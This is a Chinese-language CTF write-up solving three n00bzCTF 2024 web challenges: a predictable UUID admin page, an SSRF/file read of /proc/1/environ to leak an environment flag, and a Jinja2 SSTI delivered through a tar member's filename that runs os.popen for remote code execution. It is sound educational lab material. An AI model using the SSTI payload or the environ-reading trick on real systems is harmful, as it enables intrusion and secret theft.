2024 n00bzctf web wp

最近回到家里 煞笔浙江40多度 不想出门

看了好几天春秋杯的那个mycms 没啥思路 想摆了(划掉)

逛网站 在CTF赛事中心 - Bugku CTF 发现了这个比赛 上来玩玩

image-20240804212701818

题目不是很难 一个小时就ak了。。。水点博客

Passwordless

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet

app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')

@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
if username == 'admin123':
return 'Stop trying to act like you are the admin!'
uid = uuid.uuid5(leet,username) # super secure!
return redirect(f'/{uid}')

@app.route('/<uid>')
def user_page(uid):
if uid != str(uuid.uuid5(leet,'admin123')):
return f'Welcome! No flag for you :('
else:
return flag

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

给了uuid的种子 使用的是python3 直接本地跑一下路由访问就行

1
2
3
4
5
6
7
import uuid
import requests
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')
flag =str(uuid.uuid5(leet,'admin123'))
url = "http://24.199.110.35:40150/"+flag
req=requests.get(url)
print(req.text)

Focus on yourSELF

给了dockeryaml

1
2
3
4
5
6
7
8
9
# CHANGE THE FLAG WHEN HANDING THIS OUT TO PLAYERS

services:
web:
build: .
ports:
- "4000:1337"
environment:
- FLAG="n00bz{f4k3_fl4g_f0r_t3st1ng}"

开始还以为是有内网 搞错了 我个铸币。。。。

应该是提醒我们flag是在环境变量里面

给了一个上传和一个访问的路由 view路由存在ssrf

image-20240804214248530

读proc/1/environ就行

image-20240804214802346

File Sharing Portal

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import tarfile
from hashlib import sha256
import os
app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
file = request.files['file']
if file.filename[-4:] != '.tar':
return render_template_string("<p> We only support tar files as of right now!</p>")
name = sha256(os.urandom(16)).digest().hex()
os.makedirs(f"./uploads/{name}", exist_ok=True)
file.save(f"./uploads/{name}/{name}.tar")
try:
tar_file = tarfile.TarFile(f'./uploads/{name}/{name}.tar')
tar_file.extractall(path=f'./uploads/{name}/')
return render_template_string(f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>")
except:
return render_template_string("<p>Failed to extract file!</p>")

@app.route('/view/<name>')
def view(name):
if not all([i in "abcdef1234567890" for i in name]):
return render_template_string("<p>Error!</p>")
#print(os.popen(f'ls ./uploads/{name}').read())
#print(name)
files = os.listdir(f"./uploads/{name}")
out = '<h1>Files</h1><br>'
files.remove(f'{name}.tar') # Remove the tar file from the list
for i in files:
out += f'<a href="/read/{name}/{i}">{i}</a>'
# except:
return render_template_string(out)

@app.route('/read/<name>/<file>')
def read(name,file):
if (not all([i in "abcdef1234567890" for i in name])):
return render_template_string("<p>Error!</p>")
if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):
return render_template_string("<p>Error!</p>")
f = open(f'./uploads/{name}/{file}')
data = f.read()
f.close()
return data

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

这里存在明显的ssti注入

name是随机数生成 但是file可控

直接打ssti就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import tarfile
import os

def main():
file_name = '''{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt').read()}}{%endif%}{%endfor%}'''
tar_name = "1.tar"
with open(file_name, 'w') as file:
pass
with tarfile.open(tar_name, "w") as tar:
tar.add(file_name, arcname=os.path.basename(file_name))

if __name__ == "__main__":
main()

上传 就能rce

前面尝试的例子